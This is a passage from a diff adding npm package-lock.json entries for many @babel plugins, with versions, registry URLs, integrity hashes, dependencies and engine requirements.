+      "bin": {
+        "parser": "bin/babel-parser.js"
+      },
+      "engines": {
+        "node": ">=6.0.0"
+      }
+    },
+    "node_modules/@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression": {
+      "version": "7.18.6",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression/-/plugin-bugfix-safari-id-destructuring-collision-in-function-expression-7.18.6.tgz",
+      "integrity": "sha512-Dgxsyg54Fx1d4Nge8UnvTrED63vrwOdPmyvPzlNN/boaliRP54pm3pGzZD1SJUwrBA+Cs/xdG8kXX6Mn/RfISQ==",
+      "dependencies": {
+        "@babel/helper-plugin-utils": "^7.18.6"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0"
+      }
+    },
+    "node_modules/@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining": {
+      "version": "7.18.9",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining/-/plugin-bugfix-v8-spread-parameters-in-optional-chaining-7.18.9.tgz",
+      "integrity": "sha512-AHrP9jadvH7qlOj6PINbgSuphjQUAK7AOT7DPjBo9EHoLhQTnnK5u45e1Hd4DbSQEO9nqPWtQ89r+XEOWFScKg==",
+      "dependencies": {
+        "@babel/helper-plugin-utils": "^7.18.9",
+        "@babel/helper-skip-transparent-expression-wrappers": "^7.18.9",
+        "@babel/plugin-proposal-optional-chaining": "^7.18.9"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.13.0"
+      }
+    },
+    "node_modules/@babel/plugin-proposal-async-generator-functions": {
+      "version": "7.19.1",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-async-generator-functions/-/plugin-proposal-async-generator-functions-7.19.1.tgz",
+      "integrity": "sha512-0yu8vNATgLy4ivqMNBIwb1HebCelqN7YX8SL3FDXORv/RqT0zEEWUCH4GH44JsSrvCu6GqnAdR5EBFAPeNBB4Q==",
+      "deprecated": "This proposal has been merged to the ECMAScript standard and thus this plugin is no longer maintained. Please use @babel/plugin-transform-async-generator-functions instead.",
+      "dependencies": {
+        "@babel/helper-environment-visitor": "^7.18.9",
+        "@babel/helper-plugin-utils": "^7.19.0",
+        "@babel/helper-remap-async-to-generator": "^7.18.9",
+        "@babel/plugin-syntax-async-generators": "^7.8.4"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/plugin-proposal-class-properties": {
+      "version": "7.18.6",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-class-properties/-/plugin-proposal-class-properties-7.18.6.tgz",
+      "integrity": "sha512-cumfXOF0+nzZrrN8Rf0t7M+tF6sZc7vhQwYQck9q1/5w2OExlD+b4v4RpMJFaV1Z7WcDRgO6FqvxqxGlwo+RHQ==",
+      "deprecated": "This proposal has been merged to the ECMAScript standard and thus this plugin is no longer maintained. Please use @babel/plugin-transform-class-properties instead.",
+      "dependencies": {
+        "@babel/helper-create-class-features-plugin": "^7.18.6",
+        "@babel/helper-plugin-utils": "^7.18.6"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/plugin-proposal-class-static-block": {
+      "version": "7.18.6",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-class-static-block/-/plugin-proposal-class-static-block-7.18.6.tgz",
+      "integrity": "sha512-+I3oIiNxrCpup3Gi8n5IGMwj0gOCAjcJUSQEcotNnCCPMEnixawOQ+KeJPlgfjzx+FKQ1QSyZOWe7wmoJp7vhw==",
+      "deprecated": "This proposal has been merged to the ECMAScript standard and thus this plugin is no longer maintained. Please use @babel/plugin-transform-class-static-block instead.",
+      "dependencies": {
+        "@babel/helper-create-class-features-plugin": "^7.18.6",
+        "@babel/helper-plugin-utils": "^7.18.6",
+        "@babel/plugin-syntax-class-static-block": "^7.14.5"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.12.0"
+      }
+    },
+    "node_modules/@babel/plugin-proposal-decorators": {
+      "version": "7.19.3",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-decorators/-/plugin-proposal-decorators-7.19.3.tgz",
+      "integrity": "sha512-MbgXtNXqo7RTKYIXVchVJGPvaVufQH3pxvQyfbGvNw1DObIhph+PesYXJTcd8J4DdWibvf6Z2eanOyItX8WnJg==",
+      "dependencies": {
+        "@babel/helper-create-class-features-plugin": "^7.19.0",
+        "@babel/helper-plugin-utils": "^7.19.0",
+        "@babel/helper-replace-supers": "^7.19.1",
+        "@babel/helper-split-export-declaration": "^7.18.6",
+        "@babel/plugin-syntax-decorators": "^7.19.0"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/plugin-proposal-dynamic-import": {
+      "version": "7.18.6",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-dynamic-import/-/plugin-proposal-dynamic-import-7.18.6.tgz",
+      "integrity": "sha512-1auuwmK+Rz13SJj36R+jqFPMJWyKEDd7lLSdOj4oJK0UTgGueSAtkrCvz9ewmgyU/P941Rv2fQwZJN8s6QruXw==",
+      "deprecated": "This proposal has been merged to the ECMAScript standard and thus this plugin is no longer maintained. Please use @babel/plugin-transform-dynamic-import instead.",
+      "dependencies": {
+        "@babel/helper-plugin-utils": "^7.18.6",
+        "@babel/plugin-syntax-dynamic-import": "^7.8.3"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/plugin-proposal-export-namespace-from": {
+      "version": "7.18.9",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-export-namespace-from/-/plugin-proposal-export-namespace-from-7.18.9.tgz",
+      "integrity": "sha512-k1NtHyOMvlDDFeb9G5PhUXuGj8m/wiwojgQVEhJ/fsVsMCpLyOP4h0uGEjYJKrRI+EVPlb5Jk+Gt9P97lOGwtA==",
+      "deprecated": "This proposal has been merged to the ECMAScript standard and thus this plugin is no longer maintained. Please use @babel/plugin-transform-export-namespace-from instead.",
+      "dependencies": {
+        "@babel/helper-plugin-utils": "^7.18.9",
+        "@babel/plugin-syntax-export-namespace-from": "^7.8.3"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/plugin-proposal-json-strings": {
+      "version": "7.18.6",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-json-strings/-/plugin-proposal-json-strings-7.18.6.tgz",
+      "integrity": "sha512-lr1peyn9kOdbYc0xr0OdHTZ5FMqS6Di+H0Fz2I/JwMzGmzJETNeOFq2pBySw6X/KFL5EWDjlJuMsUGRFb8fQgQ==",
+      "deprecated": "This proposal has been merged to the ECMAScript standard and thus this plugin is no longer maintained. Please use @babel/plugin-transform-json-strings instead.",
+      "dependencies": {
+        "@babel/helper-plugin-utils": "^7.18.6",
+        "@babel/plugin-syntax-json-strings": "^7.8.3"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/plugin-proposal-logical-assignment-operators": {
+      "version": "7.18.9",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-logical-assignment-operators/-/plugin-proposal-logical-assignment-operators-7.18.9.tgz",
+      "integrity": "sha512-128YbMpjCrP35IOExw2Fq+x55LMP42DzhOhX2aNNIdI9avSWl2PI0yuBWarr3RYpZBSPtabfadkH2yeRiMD61Q==",
+      "deprecated": "This proposal has been merged to the ECMAScript standard and thus this plugin is no longer maintained. Please use @babel/plugin-transform-logical-assignment-operators instead.",
+      "dependencies": {
+        "@babel/helper-plugin-utils": "^7.18.9",
+        "@babel/plugin-syntax-logical-assignment-operators": "^7.10.4"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/plugin-proposal-nullish-coalescing-operator": {
+      "version": "7.18.6",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-nullish-coalescing-operator/-/plugin-proposal-nullish-coalescing-operator-7.18.6.tgz",
+      "integrity": "sha512-wQxQzxYeJqHcfppzBDnm1yAY0jSRkUXR2z8RePZYrKwMKgMlE8+Z6LUno+bd6LvbGh8Gltvy74+9pIYkr+XkKA==",
+      "deprecated": "This proposal has been merged to the ECMAScript standard and thus this plugin is no longer maintained. Please use @babel/plugin-transform-nullish-coalescing-operator instead.",
+      "dependencies": {
+        "@babel/helper-plugin-utils": "^7.18.6",
+        "@babel/plugin-syntax-nullish-coalescing-operator": "^7.8.3"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/plugin-proposal-numeric-separator": {
+      "version": "7.18.6",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-numeric-separator/-/plugin-proposal-numeric-separator-7.18.6.tgz",
+      "integrity": "sha512-ozlZFogPqoLm8WBr5Z8UckIoE4YQ5KESVcNudyXOR8uqIkliTEgJ3RoketfG6pmzLdeZF0H/wjE9/cCEitBl7Q==",
+      "deprecated": "This proposal has been merged to the ECMAScript standard and thus this plugin is no longer maintained. Please use @babel/plugin-transform-numeric-separator instead.",
+      "dependencies": {
+        "@babel/helper-plugin-utils": "^7.18.6",
+        "@babel/plugin-syntax-numeric-separator": "^7.10.4"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/plugin-proposal-object-rest-spread": {
+      "version": "7.18.9",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-object-rest-spread/-/plugin-proposal-object-rest-spread-7.18.9.tgz",
+      "integrity": "sha512-kDDHQ5rflIeY5xl69CEqGEZ0KY369ehsCIEbTGb4siHG5BE9sga/T0r0OUwyZNLMmZE79E1kbsqAjwFCW4ds6Q==",
+      "deprecated": "This proposal has been merged to the ECMAScript standard and thus this plugin is no longer maintained. Please use @babel/plugin-transform-object-rest-spread instead.",
+      "dependencies": {
+        "@babel/compat-data": "^7.18.8",
+        "@babel/helper-compilation-targets": "^7.18.9",
+        "@babel/helper-plugin-utils": "^7.18.9",
+        "@babel/plugin-syntax-object-rest-spread": "^7.8.3",
+        "@babel/plugin-transform-parameters": "^7.18.8"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/plugin-proposal-optional-catch-binding": {
+      "version": "7.18.6",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-optional-catch-binding/-/plugin-proposal-optional-catch-binding-7.18.6.tgz",
+      "integrity": "sha512-Q40HEhs9DJQyaZfUjjn6vE8Cv4GmMHCYuMGIWUnlxH6400VGxOuwWsPt4FxXxJkC/5eOzgn0z21M9gMT4MOhbw==",
+      "deprecated": "This proposal has been merged to the ECMAScript standard and thus this plugin is no longer maintained. Please use @babel/plugin-transform-optional-catch-binding instead.",
+      "dependencies": {
+        "@babel/helper-plugin-utils": "^7.18.6",
+        "@babel/plugin-syntax-optional-catch-binding": "^7.8.3"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/plugin-proposal-optional-chaining": {
+      "version": "7.18.9",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-optional-chaining/-/plugin-proposal-optional-chaining-7.18.9.tgz",
+      "integrity": "sha512-v5nwt4IqBXihxGsW2QmCWMDS3B3bzGIk/EQVZz2ei7f3NJl8NzAJVvUmpDW5q1CRNY+Beb/k58UAH1Km1N411w==",
+      "deprecated": "This proposal has been merged to the ECMAScript standard and thus this plugin is no longer maintained. Please use @babel/plugin-transform-optional-chaining instead.",
+      "dependencies": {
+        "@babel/helper-plugin-utils": "^7.18.9",
+        "@babel/helper-skip-transparent-expression-wrappers": "^7.18.9",
+        "@babel/plugin-syntax-optional-chaining": "^7.8.3"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/plugin-proposal-private-methods": {
+      "version": "7.18.6",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-private-methods/-/plugin-proposal-private-methods-7.18.6.tgz",
+      "integrity": "sha512-nutsvktDItsNn4rpGItSNV2sz1XwS+nfU0Rg8aCx3W3NOKVzdMjJRu0O5OkgDp3ZGICSTbgRpxZoWsxoKRvbeA==",
+      "deprecated": "This proposal has been merged to the ECMAScript standard and thus this plugin is no longer maintained. Please use @babel/plugin-transform-private-methods instead.",
+      "dependencies": {
+        "@babel/helper-create-class-features-plugin": "^7.18.6",
+        "@babel/helper-plugin-utils": "^7.18.6"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/plugin-proposal-private-property-in-object": {
+      "version": "7.18.6",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-private-property-in-object/-/plugin-proposal-private-property-in-object-7.18.6.tgz",
+      "integrity": "sha512-9Rysx7FOctvT5ouj5JODjAFAkgGoudQuLPamZb0v1TGLpapdNaftzifU8NTWQm0IRjqoYypdrSmyWgkocDQ8Dw==",
+      "deprecated": "This proposal has been merged to the ECMAScript standard and thus this plugin is no longer maintained. Please use @babel/plugin-transform-private-property-in-object instead.",
+      "dependencies": {
+        "@babel/helper-annotate-as-pure": "^7.18.6",
+        "@babel/helper-create-class-features-plugin": "^7.18.6",
+        "@babel/helper-plugin-utils": "^7.18.6",
+        "@babel/plugin-syntax-private-property-in-object": "^7.14.5"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/plugin-proposal-unicode-property-regex": {
+      "version": "7.18.6",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-unicode-property-regex/-/plugin-proposal-unicode-property-regex-7.18.6.tgz",
+      "integrity": "sha512-2BShG/d5yoZyXZfVePH91urL5wTG6ASZU9M4o03lKK8u8UW1y08OMttBSOADTcJrnPMpvDXRG3G8fyLh4ovs8w==",
+      "deprecated": "This proposal has been merged to the ECMAScript standard and thus this plugin is no longer maintained. Please use @babel/plugin-transform-unicode-property-regex instead.",
+      "dependencies": {
+        "@babel/helper-create-regexp-features-plugin": "^7.18.6",
+        "@babel/helper-plugin-utils": "^7.18.6"
+      },
+      "engines": {
+        "node": ">=4"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/plugin-syntax-async-generators": {
+      "version": "7.8.4",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-async-generators/-/plugin-syntax-async-generators-7.8.4.tgz",
+      "integrity": "sha512-tycmZxkGfZaxhMRbXlPXuVFpdWlXpir2W4AMhSJgRKzk/eDlIXOhb2LHWoLpDF7TEHylV5zNhykX6KAgHJmTNw==",
+      "dependencies": {
+        "@babel/helper-plugin-utils": "^7.8.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/plugin-syntax-bigint": {
+      "version": "7.8.3",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-bigint/-/plugin-syntax-bigint-7.8.3.tgz",
+      "integrity": "sha512-wnTnFlG+YxQm3vDxpGE57Pj0srRU4sHE/mDkt1qv2YJJSeUAec2ma4WLUnUPeKjyrfntVwe/N6dCXpU+zL3Npg==",
+      "dependencies": {
+        "@babel/helper-plugin-utils": "^7.8.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/plugin-syntax-class-properties": {
+      "version": "7.12.13",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-class-properties/-/plugin-syntax-class-properties-7.12.13.tgz",
+      "integrity": "sha512-fm4idjKla0YahUNgFNLCB0qySdsoPiZP3iQE3rky0mBUtMZ23yDJ9SJdg6dXTSDnulOVqiF3Hgr9nbXvXTQZYA==",
+      "dependencies": {
+        "@babel/helper-plugin-utils": "^7.12.13"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/plugin-syntax-class-static-block": {
+      "version": "7.14.5",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-class-static-block/-/plugin-syntax-class-static-block-7.14.5.tgz",
+      "integrity": "sha512-b+YyPmr6ldyNnM6sqYeMWE+bgJcJpO6yS4QD7ymxgH34GBPNDM/THBh8iunyvKIZztiwLH4CJZ0RxTk9emgpjw==",
+      "dependencies": {
+        "@babel/helper-plugin-utils": "^7.14.5"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/plugin-syntax-decorators": {
+      "version": "7.19.0",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-decorators/-/plugin-syntax-decorators-7.19.0.tgz",
+      "integrity": "sha512-xaBZUEDntt4faL1yN8oIFlhfXeQAWJW7CLKYsHTUqriCUbj8xOra8bfxxKGi/UwExPFBuPdH4XfHc9rGQhrVkQ==",
+      "dependencies": {
+        "@babel/helper-plugin-utils": "^7.19.0"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/plugin-syntax-dynamic-import": {
+      "version": "7.8.3",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-dynamic-import/-/plugin-syntax-dynamic-import-7.8.3.tgz",
+      "integrity": "sha512-5gdGbFon+PszYzqs83S3E5mpi7/y/8M9eC90MRTZfduQOYW76ig6SOSPNe41IG5LoP3FGBn2N0RjVDSQiS94kQ==",
+      "dependencies": {
+        "@babel/helper-plugin-utils": "^7.8.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/plugin-syntax-export-namespace-from": {
+      "version": "7.8.3",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-export-namespace-from/-/plugin-syntax-export-namespace-from-7.8.3.tgz",
+      "integrity": "sha512-MXf5laXo6c1IbEbegDmzGPwGNTsHZmEy6QGznu5Sh2UCWvueywb2ee+CCE4zQiZstxU9BMoQO9i6zUFSY0Kj0Q==",
+      "dependencies": {
+        "@babel/helper-plugin-utils": "^7.8.3"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/plugin-syntax-flow": {
+      "version": "7.18.6",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-flow/-/plugin-syntax-flow-7.18.6.tgz",
+      "integrity": "sha512-LUbR+KNTBWCUAqRG9ex5Gnzu2IOkt8jRJbHHXFT9q+L9zm7M/QQbEqXyw1n1pohYvOyWC8CjeyjrSaIwiYjK7A==",
+      "peer": true,
+      "dependencies": {
+        "@babel/helper-plugin-utils": "^7.18.6"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/plugin-syntax-import-assertions": {
+      "version": "7.18.6",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-import-assertions/-/plugin-syntax-import-assertions-7.18.6.tgz",
+      "integrity": "sha512-/DU3RXad9+bZwrgWJQKbr39gYbJpLJHezqEzRzi/BHRlJ9zsQb4CK2CA/5apllXNomwA1qHwzvHl+AdEmC5krQ==",
+      "dependencies": {
+        "@babel/helper-plugin-utils": "^7.18.6"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/plugin-syntax-import-meta": {
+      "version": "7.10.4",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-import-meta/-/plugin-syntax-import-meta-7.10.4.tgz",
+      "integrity": "sha512-Yqfm+XDx0+Prh3VSeEQCPU81yC+JWZ2pDPFSS4ZdpfZhp4MkFMaDC1UqseovEKwSUpnIL7+vK+Clp7bfh0iD7g==",
+      "dependencies": {
+        "@babel/helper-plugin-utils": "^7.10.4"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/plugin-syntax-json-strings": {
+      "version": "7.8.3",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-json-strings/-/plugin-syntax-json-strings-7.8.3.tgz",
+      "integrity": "sha512-lY6kdGpWHvjoe2vk4WrAapEuBR69EMxZl+RoGRhrFGNYVK8mOPAW8VfbT/ZgrFbXlDNiiaxQnAtgVCZ6jv30EA==",
+      "dependencies": {
+        "@babel/helper-plugin-utils": "^7.8.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/plugin-syntax-jsx": {
+      "version": "7.18.6",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-jsx/-/plugin-syntax-jsx-7.18.6.tgz",
+      "integrity": "sha512-6mmljtAedFGTWu2p/8WIORGwy+61PLgOMPOdazc7YoJ9ZCWUyFy3A6CpPkRKLKD1ToAesxX8KGEViAiLo9N+7Q==",
+      "dependencies": {
+        "@babel/helper-plugin-utils": "^7.18.6"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/plugin-syntax-logical-assignment-operators": {
+      "version": "7.10.4",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-logical-assignment-operators/-/plugin-syntax-logical-assignment-operators-7.10.4.tgz",
+      "integrity": "sha512-d8waShlpFDinQ5MtvGU9xDAOzKH47+FFoney2baFIoMr952hKOLp1HR7VszoZvOsV/4+RRszNY7D17ba0te0ig==",
+      "dependencies": {
+        "@babel/helper-plugin-utils": "^7.10.4"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/plugin-syntax-nullish-coalescing-operator": {
+      "version": "7.8.3",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-nullish-coalescing-operator/-/plugin-syntax-nullish-coalescing-operator-7.8.3.tgz",
+      "integrity": "sha512-aSff4zPII1u2QD7y+F8oDsz19ew4IGEJg9SVW+bqwpwtfFleiQDMdzA/R+UlWDzfnHFCxxleFT0PMIrR36XLNQ==",
+      "dependencies": {
+        "@babel/helper-plugin-utils": "^7.8.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/plugin-syntax-numeric-separator": {
+      "version": "7.10.4",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-numeric-separator/-/plugin-syntax-numeric-separator-7.10.4.tgz",
+      "integrity": "sha512-9H6YdfkcK/uOnY/K7/aA2xpzaAgkQn37yzWUMRK7OaPOqOpGS1+n0H5hxT9AUw9EsSjPW8SVyMJwYRtWs3X3ug==",
+      "dependencies": {
+        "@babel/helper-plugin-utils": "^7.10.4"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/plugin-syntax-object-rest-spread": {
+      "version": "7.8.3",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-object-rest-spread/-/plugin-syntax-object-rest-spread-7.8.3.tgz",
+      "integrity": "sha512-XoqMijGZb9y3y2XskN+P1wUGiVwWZ5JmoDRwx5+3GmEplNyVM2s2Dg8ILFQm8rWM48orGy5YpI5Bl8U1y7ydlA==",
+      "dependencies": {
+        "@babel/helper-plugin-utils": "^7.8.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/plugin-syntax-optional-catch-binding": {
+      "version": "7.8.3",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-optional-catch-binding/-/plugin-syntax-optional-catch-binding-7.8.3.tgz",
+      "integrity": "sha512-6VPD0Pc1lpTqw0aKoeRTMiB+kWhAoT24PA+ksWSBrFtl5SIRVpZlwN3NNPQjehA2E/91FV3RjLWoVTglWcSV3Q==",
+      "dependencies": {
+        "@babel/helper-plugin-utils": "^7.8.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/plugin-syntax-optional-chaining": {
+      "version": "7.8.3",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-optional-chaining/-/plugin-syntax-optional-chaining-7.8.3.tgz",
+      "integrity": "sha512-KoK9ErH1MBlCPxV0VANkXW2/dw4vlbGDrFgz8bmUsBGYkFRcbRwMh6cIJubdPrkxRwuGdtCk0v/wPTKbQgBjkg==",
+      "dependencies": {
+        "@babel/helper-plugin-utils": "^7.8.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/plugin-syntax-private-property-in-object": {
+      "version": "7.14.5",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-private-property-in-object/-/plugin-syntax-private-property-in-object-7.14.5.tgz",
+      "integrity": "sha512-0wVnp9dxJ72ZUJDV27ZfbSj6iHLoytYZmh3rFcxNnvsJF3ktkzLDZPy/mA17HGsaQT3/DQsWYX1f1QGWkCoVUg==",
+      "dependencies": {
+        "@babel/helper-plugin-utils": "^7.14.5"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/plugin-syntax-top-level-await": {
+      "version": "7.14.5",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-top-level-await/-/plugin-syntax-top-level-await-7.14.5.tgz",
+      "integrity": "sha512-hx++upLv5U1rgYfwe1xBQUhRmU41NEvpUvrp8jkrSCdvGSnM5/qdRMtylJ6PG5OFkBaHkbTAKTnd3/YyESRHFw==",
+      "dependencies": {
+        "@babel/helper-plugin-utils": "^7.14.5"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/plugin-syntax-typescript": {
+      "version": "7.18.6",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-typescript/-/plugin-syntax-typescript-7.18.6.tgz",
+      "integrity": "sha512-mAWAuq4rvOepWCBid55JuRNvpTNf2UGVgoz4JV0fXEKolsVZDzsa4NqCef758WZJj/GDu0gVGItjKFiClTAmZA==",
+      "dependencies": {
+        "@babel/helper-plugin-utils": "^7.18.6"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/plugin-transform-arrow-functions": {
+      "version": "7.18.6",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-arrow-functions/-/plugin-transform-arrow-functions-7.18.6.tgz",
+      "integrity": "sha512-9S9X9RUefzrsHZmKMbDXxweEH+YlE8JJEuat9FdvW9Qh1cw7W64jELCtWNkPBPX5En45uy28KGvA/AySqUh8CQ==",
+      "dependencies": {
+        "@babel/helper-plugin-utils": "^7.18.6"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/plugin-transform-async-to-generator": {
+      "version": "7.18.6",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-async-to-generator/-/plugin-transform-async-to-generator-7.18.6.tgz",
+      "integrity": "sha512-ARE5wZLKnTgPW7/1ftQmSi1CmkqqHo2DNmtztFhvgtOWSDfq0Cq9/9L+KnZNYSNrydBekhW3rwShduf59RoXag==",
+      "dependencies": {
+        "@babel/helper-module-imports": "^7.18.6",
+        "@babel/helper-plugin-utils": "^7.18.6",
+        "@babel/helper-remap-async-to-generator": "^7.18.6"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/plugin-transform-block-scoped-functions": {
+      "version": "7.18.6",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-block-scoped-functions/-/plugin-transform-block-scoped-functions-7.18.6.tgz",
+      "integrity": "sha512-ExUcOqpPWnliRcPqves5HJcJOvHvIIWfuS4sroBUenPuMdmW+SMHDakmtS7qOo13sVppmUijqeTv7qqGsvURpQ==",
+      "dependencies": {
+        "@babel/helper-plugin-utils": "^7.18.6"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/plugin-transform-block-scoping": {
+      "version": "7.18.9",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-block-scoping/-/plugin-transform-block-scoping-7.18.9.tgz",
